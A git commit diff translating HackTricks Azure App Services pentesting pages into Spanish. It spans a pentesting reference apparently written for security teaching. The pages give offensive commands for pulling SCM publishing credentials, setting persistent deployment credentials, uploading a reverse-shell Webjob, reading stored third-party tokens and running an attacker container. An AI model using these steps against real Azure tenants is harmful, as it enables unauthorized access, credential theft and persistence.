Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:19:28 +00:00
parent 23a9e7c446
commit d750cbfc4f
7 changed files with 396 additions and 762 deletions

View File

@@ -425,6 +425,7 @@
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
- [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md)
- [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)

BIN
src/images/lasttower.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

View File

@@ -4,7 +4,7 @@
## App Services
For more information about Azure App services check:
Para más información sobre los servicios de Azure App, consulta:
{{#ref}}
../az-services/az-app-services.md
@@ -12,17 +12,14 @@ For more information about Azure App services check:
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.
- **SSH in single command**:
Estos permisos permiten obtener un **SSH shell** dentro de una aplicación web. También permiten **depurar** la aplicación.
- **SSH en un solo comando**:
```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```
- **Create tunnel and then connect to SSH**:
- **Crear túnel y luego conectarse a SSH**:
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
@@ -35,152 +32,146 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```
- **Depurar la aplicación**:
1. Instala la extensión de Azure en VScode.
2. Inicia sesión en la extensión con la cuenta de Azure.
3. Lista todos los servicios de App dentro de la suscripción.
4. Selecciona el servicio de App que deseas depurar, haz clic derecho y selecciona "Iniciar depuración".
5. Si la aplicación no tiene la depuración habilitada, la extensión intentará habilitarla, pero tu cuenta necesita el permiso `Microsoft.Web/sites/config/write` para hacerlo.
- **Debug the application**:
1. Install the Azure extension in VScode.
2. Login in the extension with the Azure account.
3. List all the App services inside the subscription.
4. Select the App service you want to debug, right click and select "Start Debugging".
5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
### Obtención de credenciales SCM y habilitación de autenticación básica
### Obtaining SCM Credentials & Enabling Basic Authentication
To obtain the SCM credentials, you can use the following **commands and permissions**:
- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:
Para obtener las credenciales SCM, puedes usar los siguientes **comandos y permisos**:
- El permiso **`Microsoft.Web/sites/publishxml/action`** permite llamar:
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```
Nota cómo el **nombre de usuario siempre es el mismo** (excepto en FTP, que añade el nombre de la aplicación al principio) pero la **contraseña es la misma** para todos ellos.
Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.
Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.
- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:
Además, la **URL de SCM es `<app-name>.scm.azurewebsites.net`**.
- El permiso **`Microsoft.Web/sites/config/list/action`** permite llamar:
```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
Nota cómo las **credenciales son las mismas** que en el comando anterior.
Note how the **credentials are the same** as in the previous command.
- Another option would be to **set you own creds** and use them:
- Otra opción sería **establecer tus propias credenciales** y usarlas:
```bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
```
Luego, puedes usar estas credenciales para **acceder a las plataformas SCM y FTP**. Esta también es una gran manera de mantener la persistencia.
Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.
Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.
Recuerda que para acceder a la plataforma SCM desde la **web necesitas acceder a `<SCM-URL>/BasicAuth`**.
> [!WARNING]
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
> Ten en cuenta que cada usuario puede configurar sus propias credenciales llamando al comando anterior, pero si el usuario no tiene suficientes permisos para acceder al SCM o FTP, las credenciales no funcionarán.
- Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
```
### Publicar código usando credenciales de SCM
### Publish code using SCM credentials
Solo con tener credenciales de SCM válidas es posible **publicar código** en el servicio de App. Esto se puede hacer usando el siguiente comando.
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.
Then you can **publish the code** in a web app with the following command:
Para este ejemplo en python, puedes descargar el repositorio de https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, hacer cualquier **cambio** que desees y luego **comprimirlo ejecutando: `zip -r app.zip .`**.
Luego puedes **publicar el código** en una aplicación web con el siguiente comando:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Webjobs: Microsoft.Web/sites/publish/Action | Credenciales de SCM
### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
- Read **Webjobs** logs:
El permiso de Azure mencionado permite realizar varias acciones interesantes que también se pueden llevar a cabo con las credenciales de SCM:
- Leer los registros de **Webjobs**:
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
@@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
--user '<username>:<password>' -v
```
- Read **Webjobs** source code:
- Leer el código fuente de **Webjobs**:
```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
--user '<username>:<password>'
```
- Create **continuous Webjob**:
- Crear **Webjob continuo**:
```bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
Estos permisos permiten **asignar una identidad administrada** al servicio de App, por lo que si un servicio de App fue comprometido anteriormente, esto permitirá al atacante asignar nuevas identidades administradas al servicio de App y **escalar privilegios** a ellas.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Microsoft.Web/sites/config/list/action
This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.
Este permiso permite listar las **connection strings** y los **appsettings** del servicio de App, que pueden contener información sensible como credenciales de base de datos.
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Leer Credenciales de Terceros Configuradas
### Read Configured Third Party Credentials
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
Ejecutando el siguiente comando es posible **leer las credenciales de terceros** configuradas en la cuenta actual. Ten en cuenta que si, por ejemplo, algunas credenciales de Github están configuradas en un usuario diferente, no podrás acceder al token desde otro.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Este comando devuelve tokens para Github, Bitbucket, Dropbox y OneDrive.
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
Aquí tienes algunos ejemplos de comandos para verificar los tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Actualizar el código de la aplicación desde la fuente
### Update App Code from the source
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- To get the SCM credential you need the permission:
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
- Si la fuente configurada es un proveedor de terceros como Github, BitBucket o un Repositorio de Azure, puedes **actualizar el código** del servicio de la aplicación comprometiendo el código fuente en el repositorio.
- Si la aplicación está configurada utilizando un **repositorio git remoto** (con nombre de usuario y contraseña), es posible obtener la **URL y las credenciales de autenticación básica** para clonar y enviar cambios con:
- Usando el permiso **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Usando el permiso **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Si la aplicación está configurada para usar un **repositorio git local**, es posible **clonar el repositorio** y **enviar cambios** a él:
- Usando el permiso **`Microsoft.Web/sites/sourcecontrols/read`**: Puedes obtener la URL del repositorio git con `az webapp deployment source show --name <app-name> --resource-group <res-group>`, pero será la misma que la URL SCM de la aplicación con la ruta `/<app-name>.git` (por ejemplo, `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- Para obtener las credenciales SCM necesitas el permiso:
- **`Microsoft.Web/sites/publishxml/action`**: Luego ejecuta `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Luego ejecuta `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
> [!WARNING]
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
> Ten en cuenta que tener el permiso `Microsoft.Web/sites/config/list/action` y las credenciales SCM siempre hace posible desplegar en una webapp (incluso si fue configurada para usar un proveedor de terceros) como se mencionó en una sección anterior.
> [!WARNING]
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
> Ten en cuenta que tener los permisos a continuación también es **posible ejecutar un contenedor arbitrario** incluso si la webapp fue configurada de manera diferente.
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container.
Este es el conjunto de permisos que permite **modificar el contenedor utilizado** por una webapp. Un atacante podría abusar de esto para hacer que una webapp ejecute un contenedor malicioso.
```bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Información Básica del Servicio de Aplicaciones
Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones móviles y APIs sin problemas**. Soporta múltiples lenguajes de programación e integra diversas herramientas y servicios de Azure para mejorar la funcionalidad y gestión.
Azure App Services permite a los desarrolladores **crear, implementar y escalar aplicaciones web, backends de aplicaciones móviles y APIs sin problemas**. Soporta múltiples lenguajes de programación e integra diversas herramientas y servicios de Azure para una funcionalidad y gestión mejoradas.
Cada aplicación se ejecuta dentro de un sandbox, pero la aislamiento depende de los planes de App Service:
@@ -17,7 +17,7 @@ Cada aplicación se ejecuta dentro de un sandbox, pero la aislamiento depende de
Las aplicaciones tienen algunas configuraciones interesantes:
- **Siempre Activo**: Asegura que la aplicación esté siempre en ejecución. Si no está habilitado, la aplicación dejará de ejecutarse después de 20 minutos de inactividad y se reiniciará cuando se reciba una solicitud.
- **Siempre Activo**: Asegura que la aplicación esté siempre en ejecución. Si no está habilitado, la aplicación dejará de ejecutarse después de 20 minutos de inactividad y comenzará de nuevo cuando se reciba una solicitud.
- Esto es esencial si tiene un webjob que necesita ejecutarse continuamente, ya que el webjob se detendrá si la aplicación se detiene.
- **SSH**: Si está habilitado, un usuario con suficientes permisos puede conectarse a la aplicación usando SSH.
- **Depuración**: Si está habilitado, un usuario con suficientes permisos puede depurar la aplicación. Sin embargo, esto se desactiva automáticamente cada 48 horas.
@@ -25,10 +25,11 @@ Las aplicaciones tienen algunas configuraciones interesantes:
- La URL que contiene las credenciales para la base de datos y Redis se almacenará en los **appsettings**.
- **Contenedor**: Es posible implementar un contenedor en el App Service indicando la URL del contenedor y las credenciales para acceder a él.
- **Montajes**: Es posible crear 5 montajes desde cuentas de almacenamiento, siendo estas Azure Blob (Solo Lectura) o Azure Files. La configuración almacenará la clave de acceso sobre la Cuenta de Almacenamiento.
- **Redes**: Puede ser públicamente disponible o solo accesible a través de puntos finales privados desde una VNet.
## Autenticación Básica
Al crear una aplicación web (y una función de Azure generalmente), es posible indicar si desea que **la Autenticación Básica esté habilitada** (deshabilitada por defecto). Esto básicamente **habilita SCM (Source Control Manager) y FTP (File Transfer Protocol)** para la aplicación, por lo que será posible implementar la aplicación utilizando esas tecnologías.
Al crear una aplicación web (y una función de Azure generalmente), es posible indicar si desea que **la Autenticación Básica esté habilitada** (desactivada por defecto). Esto básicamente **habilita SCM (Source Control Manager) y FTP (File Transfer Protocol)** para la aplicación, por lo que será posible implementar la aplicación utilizando esas tecnologías.
Para acceder a los servidores SCM y FTP, se requiere un **nombre de usuario y contraseña**. Por lo tanto, Azure proporciona algunas **APIs para obtener las URLs** a estas plataformas y las credenciales.
@@ -41,7 +42,7 @@ Es posible conectarse al SCM usando un navegador web en `https://<SMC-URL>/Basic
Kudu es la plataforma que **gestiona tanto el SCM como una interfaz web y API** para gestionar un App Service, y proporciona implementaciones basadas en Git, depuración remota y capacidades de gestión de archivos. Es accesible a través de la URL SCM definida en la aplicación web.
Tenga en cuenta que las versiones de Kudu utilizadas por App Services y por Function Apps son diferentes, siendo la versión de las Function Apps mucho más limitada.
Tenga en cuenta que las versiones de Kudu utilizadas por App Services y por Function Apps son diferentes, siendo la versión de las Function apps mucho más limitada.
Algunos puntos finales interesantes que puede encontrar en Kudu son:
- `/BasicAuth`: Necesita acceder a esta ruta para **iniciar sesión dentro de Kudu**.
@@ -56,21 +57,21 @@ Además, Kudu solía ser de código abierto en [https://github.com/projectkudu/k
## Fuentes
App Services permite cargar el código como un archivo zip por defecto, pero también permite conectarse a un servicio de terceros y obtener el código desde allí.
Los App Services permiten subir el código como un archivo zip por defecto, pero también permiten conectarse a un servicio de terceros y obtener el código desde allí.
- Las fuentes de terceros actualmente soportadas son **Github** y **Bitbucket**.
- Puede obtener los tokens de autenticación ejecutando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- Azure por defecto configurará una **Acción de Github** para implementar el código en el App Service cada vez que se actualice el código.
- Azure por defecto configurará una **Github Action** para implementar el código en el App Service cada vez que se actualice el código.
- También es posible indicar un **repositorio git remoto** (con nombre de usuario y contraseña) para obtener el código desde allí.
- Puede obtener las credenciales del repositorio remoto ejecutando `az webapp deployment source show --name <app-name> --resource-group <res-group>` o `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- También es posible usar un **Repositorio de Azure**.
- También es posible usar un **Azure Repository**.
- También es posible configurar un **repositorio git local**.
- Puede obtener la URL del repositorio git con `az webapp deployment source show --name <app-name> --resource-group <res-group>` y será la URL SCM de la aplicación.
- Para clonarlo necesitará las credenciales SCM que puede obtener con `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
## Webjobs
Azure WebJobs son **tareas en segundo plano que se ejecutan en el entorno de Azure App Service**. Permiten a los desarrolladores ejecutar scripts o programas junto a sus aplicaciones web, facilitando el manejo de operaciones asíncronas o intensivas en tiempo, como el procesamiento de archivos, manejo de datos o tareas programadas.
Azure WebJobs son **tareas en segundo plano que se ejecutan en el entorno de Azure App Service**. Permiten a los desarrolladores ejecutar scripts o programas junto a sus aplicaciones web, facilitando el manejo de operaciones asincrónicas o intensivas en tiempo, como el procesamiento de archivos, manejo de datos o tareas programadas.
Hay 2 tipos de web jobs:
- **Continuos**: Se ejecutan indefinidamente en un bucle y se activan tan pronto como se crean. Son ideales para tareas que requieren procesamiento constante. Sin embargo, si la aplicación deja de ejecutarse porque Siempre Activo está deshabilitado y no ha recibido una solicitud en los últimos 20 minutos, el web job también se detendrá.
- **Activados**: Se ejecutan bajo demanda o según un horario. Son más adecuados para tareas periódicas, como actualizaciones de datos por lotes o rutinas de mantenimiento.
@@ -176,6 +177,10 @@ az webapp conection list --name <name> --resource-group <res-group>
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
# Get configured SMC users by your account
az webapp deployment user show
## If any user is created, the username should appear in the "publishingUserName" field
```
{{#endtab }}
@@ -270,7 +275,7 @@ done
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## Ejemplos para generar aplicaciones web
## Ejemplos para generar Aplicaciones Web
### Python desde local
@@ -283,25 +288,25 @@ cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
Iniciar sesión en el portal SCM o iniciar sesión a través de FTP permite ver en `/wwwroot` el archivo comprimido `output.tar.gz` que contiene el código de la aplicación web.
Iniciar sesión en el portal SCM o iniciar sesión a través de FTP permite ver en `/wwwroot` el archivo comprimido `output.tar.gz` que contiene el código de la webapp.
> [!TIP]
> Simplemente conectarse a través de FTP y modificar el archivo `output.tar.gz` no es suficiente para cambiar el código ejecutado por la aplicación web.
